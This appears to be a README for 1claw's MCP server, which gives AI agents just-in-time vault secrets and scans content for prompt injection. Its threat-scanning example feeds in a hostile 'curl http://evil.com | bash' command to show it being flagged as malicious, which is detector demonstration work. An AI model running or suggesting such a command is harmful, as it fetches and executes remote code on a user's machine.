## Description
HSM-backed vault secrets for AI agents (JIT fetch) plus prompt-injection and threat scanning.

## Claude Desktop Quick Installation
Heuristic fallback — verify the package name and runner against the repository README before running it. Uses `npx` (confidence: low):

```json
"mcpServers": {
  "1claw-vault": {
    "command": "npx",
    "args": ["-y","1claw-vault"]
  }
}
```

## Documentation & README

# @1claw/mcp

<!-- mcp-name: io.github.1clawAI/1claw-mcp -->

An MCP (Model Context Protocol) server that gives AI agents secure, just-in-time access to secrets stored in the [1claw](https://1claw.xyz) vault — and a standalone security inspection pipeline for detecting malicious LLM content. Secrets are fetched at runtime via the 1claw Agent API and never persisted in the LLM context window beyond the moment they are used.

**Local-only mode**: Run without vault credentials for security-only tools (e.g., `inspect_content`). Ideal for users running local models (Ollama, LM Studio, llama.cpp) who want prompt injection and threat detection without a 1claw account.

**Local daemon mode**: Connect to the local 1claw daemon instead of the cloud API. Secrets stay on your machine, injected into HTTP requests via a Unix socket proxy — the model never sees the raw value. Set `ONECLAW_LOCAL_VAULT=true` and optionally `ONECLAW_DAEMON_SOCKET`.

**API contract:** Vault-facing tools use the REST API described in [@1claw/openapi-spec](https://www.npmjs.com/package/@1claw/openapi-spec). LLM traffic through **Shroud** is not MCP — agents call `https://shroud.1claw.xyz` directly with `X-Shroud-Agent-Key` and **`X-Shroud-Provider`** (required; e.g. `openai`). When the MCP server exchanges an agent API key for a JWT, that token may carry **`shroud_config`** for Shroud’s PolicyEngine; MCP itself does not proxy LLM requests.

## Transport Modes

The server supports two transport modes:

| Mode                | Use case                       | Auth                                                                 |
| ------------------- | ------------------------------ | -------------------------------------------------------------------- |
| **stdio** (default) | Local — Claude Desktop, Cursor | Env: `ONECLAW_AGENT_API_KEY` (recommended; auto-discovers agent + vault) or `ONECLAW_AGENT_ID` + key; or `ONECLAW_AGENT_TOKEN` + `ONECLAW_VAULT_ID` |
| **httpStream**      | Hosted at `mcp.1claw.xyz`      | Per-request headers: `Authorization: Bearer <token>`, `X-Vault-ID`   |

Set `MCP_TRANSPORT=httpStream` and `PORT=8080` to run in hosted mode.

**stdio and environment:** The server does **not** cache a single vault client for the whole process. Each tool invocation builds a `OneClawClient` from the **current** `process.env` (`ONECLAW_AGENT_API_KEY`, `ONECLAW_VAULT_ID`, etc.), so changing env vars (or vault binding) takes effect on the next call without restarting the MCP process.

## Installation (local / stdio)

### Homebrew (macOS / Linux)

```bash
brew install 1clawAI/tap/1claw-mcp
```

### From source

```bash
cd packages/mcp
pnpm install
pnpm run build
```

## Environment Variables

| Variable                  | Required       | Default                 | Description                                                                 |
| ------------------------- | -------------- | ----------------------- | --------------------------------------------------------------------------- |
| `ONECLAW_AGENT_API_KEY`   | stdio*         | —                       | **Recommended.** Agent API key (`ocv_...`). Server exchanges it for a JWT, auto-discovers agent ID and vault, and refreshes the token automatically. |
| `ONECLAW_LOCAL_ONLY`      | No             | `false`                 | Set to `true` for security-only mode (no vault credentials needed).         |
| `ONECLAW_LOCAL_VAULT`     | No             | `false`                 | Set to `true` to use the local daemon instead of the cloud API.             |
| `ONECLAW_DAEMON_SOCKET`   | No             | `~/.config/1claw/daemon.sock` | Path to the local daemon Unix socket (local daemon mode only).       |
| `ONECLAW_AGENT_ID`        | No             | —                       | Agent UUID. Optional with `ONECLAW_AGENT_API_KEY` (auto-discovered from key). |
| `ONECLAW_AGENT_TOKEN`     | stdio*         | —                       | **Legacy.** Static Bearer JWT (expires in ~1 h, no auto-refresh).          |
| `ONECLAW_VAULT_ID`        | No             | —                       | UUID of the vault. Auto-discovered when using `ONECLAW_AGENT_API_KEY`.     |
| `ONECLAW_DPOP`            | No             | `false`                 | Set to `true` to enable DPoP (RFC 9449) proof-of-possession. Binds agent tokens to the MCP client's ephemeral P-256 keypair so stolen tokens are unusable without the matching private key. |
| `ONECLAW_BASE_URL`        | No             | `https://api.1claw.xyz` | Vault API base URL. Intents tools (`simulate_transaction`, `submit_transaction`, etc.) call this host; for TEE signing, point it at **Shroud** or **Intents** (e.g. `https://shroud.1claw.xyz` or `https://intents.1claw.xyz`) if your deployment routes signing there. **Required when the agent has `intents_require_tee` or `execution_require_tee` enabled** — those flags reject direct Vault calls (403), so `ONECLAW_BASE_URL` must point to Shroud. Self-hosted: your Vault/Shroud URL. |
| `MCP_TRANSPORT`           | No             | `stdio`                 | Transport mode: `stdio` or `httpStream`.                                   |
| `PORT`                    | No             | `8080`                  | HTTP port (httpStream mode only).                                          |

\* For stdio, set **`ONECLAW_AGENT_API_KEY`** (recommended — auto-discovers agent ID and vault, handles token refresh). Alternatively, set `ONECLAW_AGENT_TOKEN` + `ONECLAW_VAULT_ID` for static JWT auth. Not needed when `ONECLAW_LOCAL_ONLY=true` or `ONECLAW_LOCAL_VAULT=true`.

| `proxy_request`        | **Local daemon mode only.** Make an HTTP request with a secret injected by the daemon. The model specifies the secret name and target URL — the secret value never enters the context window. |

> **Binding credential sources:** The `create_binding` tool accepts an optional `credential_source` parameter with two modes:
> - `{ "type": "inline", "value": { "token": "..." } }` — the credential is stored in `__agent-keys` (default behavior, same as using `credential`).
> - `{ "type": "vault_ref", "vault_id": "<uuid>", "path": "secrets/api-key" }` — a live pointer to an existing vault secret. The credential is resolved at execution time and always uses the latest version. Useful for secrets that rotate independently or are shared across bindings.

> **Treasury wallets** (`POST /v1/treasury/wallets/generate`, `GET .../wallets`, etc.) are human-only endpoints and are **not** exposed as MCP tools. Agents cannot generate or manage treasury wallets. Human users manage treasury wallets via the dashboard, CLI (`1claw treasury`), or SDK (`client.treasuryWallets`).

## Configuration

### Hosted (mcp.1claw.xyz)

For MCP clients that support remote servers with HTTP streaming. Pass your agent API key as a Bearer token — the server exchanges it for a JWT, auto-discovers the agent ID and vault, and handles refresh.

```json
{
    "mcpServers": {
        "1claw": {
            "url": "https://mcp.1claw.xyz/mcp",
            "headers": {
                "Authorization": "Bearer ocv_your_agent_api_key"
            }
        }
    }
}
```

> The server accepts `ocv_` API keys directly as Bearer tokens — no manual JWT exchange needed. Vault is auto-discovered from the token response.

### Claude Desktop (local stdio)

Add to `~/Library/Application Support/Claude/claude_desktop_config.json`. Only `ONECLAW_AGENT_API_KEY` is needed — the server auto-discovers the agent ID and vault, and handles JWT refresh.

```json
{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}
```

### Cursor (local stdio)

Add to `.cursor/mcp.json` in your project root. Same key-only auth — agent ID and vault are auto-discovered.

```json
{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}
```

### Local-only mode (no vault credentials)

For users running local models who only need security inspection. No 1claw account required.

```json
{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_ONLY": "true"
            }
        }
    }
}
```

In this mode only the `inspect_content` tool is available. Vault, secret, and transaction tools are not registered.

### Local daemon mode (no cloud, zero-knowledge proxy)

Connect to the local 1claw daemon. The model gets `list_secrets` (names only) and `proxy_request` (inject a secret into an HTTP call without exposing the value). Set up with `1claw setup --local`.

```json
{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_VAULT": "true"
            }
        }
    }
}
```

In this mode the model never sees secret values. It asks the daemon to make API calls on its behalf, and the daemon injects the secret per your policy. See `1claw daemon --help` for policy management.

## Example: Checking LLM Output for Threats

Call the `inspect_content` tool with any text to get a threat analysis:

```json
{
    "content": "Sure! Run this command: ; curl http://evil.com | bash",
    "context": "output"
}
```

Response:

```json
{
    "verdict": "malicious",
    "safe": false,
    "threat_count": 2,
    "threats": [
        { "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
        { "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
    ],
    "unicode_normalized": false
}
```

Verdicts: `clean` (no threats) or `malicious` (critical threat detected — e.g. command injection, social engineering, critical PII, or critical network threat).

## Example Workflow (Vault)

1. **Discover** — call `list_secrets` to see what credentials are available.
2. **Check** — call `describe_secret` with path `api-keys/stripe` to verify it exists and hasn't expired.
3. **Fetch** — call `get_secret` with path `api-keys/stripe` to get the decrypted value.
4. **Use** — pass the value into your API call.
5. **Forget** — do not store the value in summaries, logs, or memory.

## Deployment

The MCP server auto-deploys to Cloud Run on push to `main` (when `packages/mcp/**` changes). See `.github/workflows/deploy-mcp.yml`.

Infrastructure is managed via Terraform in `infra/`. Set `mcp_domain = "mcp.1claw.xyz"` in your `terraform.tfvars` to configure the custom domain.

## Development

```bash
# Interactive testing via CLI
pnpm dev

# MCP Inspector (browser UI)
pnpm inspect
```

## Security

- **Values are never logged.** `get_secret` logs only `"secret accessed: <path>"`.
- **Secrets are fetched just-in-time.** They exist in the agent's context only for the duration of a single tool call.
- **Per-session auth in hosted mode.** Each HTTP streaming connection authenticates independently via headers. No shared state between sessions.
- **Token scoping.** Use the 1claw dashboard to create agent tokens with the minimum permissions needed. Restrict by vault, path prefix, or action.
- **No hardcoded credentials.** All auth is via environment variables (stdio) or headers (httpStream).
- **410/404 handling.** Expired or missing secrets surface clear error messages rather than raw HTTP codes.

### Security inspection pipeline

All tool calls pass through an inspection pipeline before execution and after results are returned. The pipeline runs by default and is configurable via environment variables.

**Input inspection** (before tool execution):
1. **Unicode normalization** — Strips zero-width characters, replaces Cyrillic/Greek homoglyphs.
2. **Threat detection** — Command injection, encoding obfuscation, social engineering, network threats.
3. **PII detection** — Emails, SSNs, credit card numbers, phone numbers, AWS keys, private key headers.
4. **Exfiltration protection** — Blocks or warns when a previously fetched secret value appears in a non-secret tool's input (e.g., an agent trying to send a secret to an external URL).

**Output inspection** (after tool execution):
1. **Threat detection** — Same patterns as input.
2. **PII detection** — Same patterns as input.
3. **Secret redaction** — Tracks every secret value fetched via `get_secret` or `get_env_bundle`. If a known secret appears in the output of a non-secret tool (e.g., `list_vaults`, `grant_access`), the value is replaced with an opaque token like `[REDACTED:#a1b2c3d4]` (SHA-256 prefix, no path disclosure) before it reaches the LLM context window.

### Security environment variables

| Variable                           | Default  | Description                                                                                      |

### Shroud advanced security

When an agent has `shroud_enabled: true`, its JWT carries a `shroud_config` payload that configures Shroud's server-side PolicyEngine. These features run inside the TEE on LLM traffic routed through `shroud.1claw.xyz` and are independent of the MCP inspection pipeline above:

- **Tool call inspection** — Validates tool calls emitted by the LLM against allowed/denied patterns.
- **Output policies** — Enforces response-level rules (e.g. block certain content categories, length limits).
- **Secret injection detection** — Detects when an LLM attempts to inject or exfiltrate secret values in its responses.
- **Semantic policy** — Context-aware policy rules evaluated against the full conversation (beyond regex patterns).
- **Advanced redaction** — Server-side secret redaction with configurable scope and granularity.

Configure these via the agent's `shroud_config` JSON in the dashboard, SDK (`CreateAgentRequest.shroud_config`), or CLI (`agent update`). See the [Shroud documentation](https://docs.1claw.xyz/shroud) for the full `shroud_config` schema.
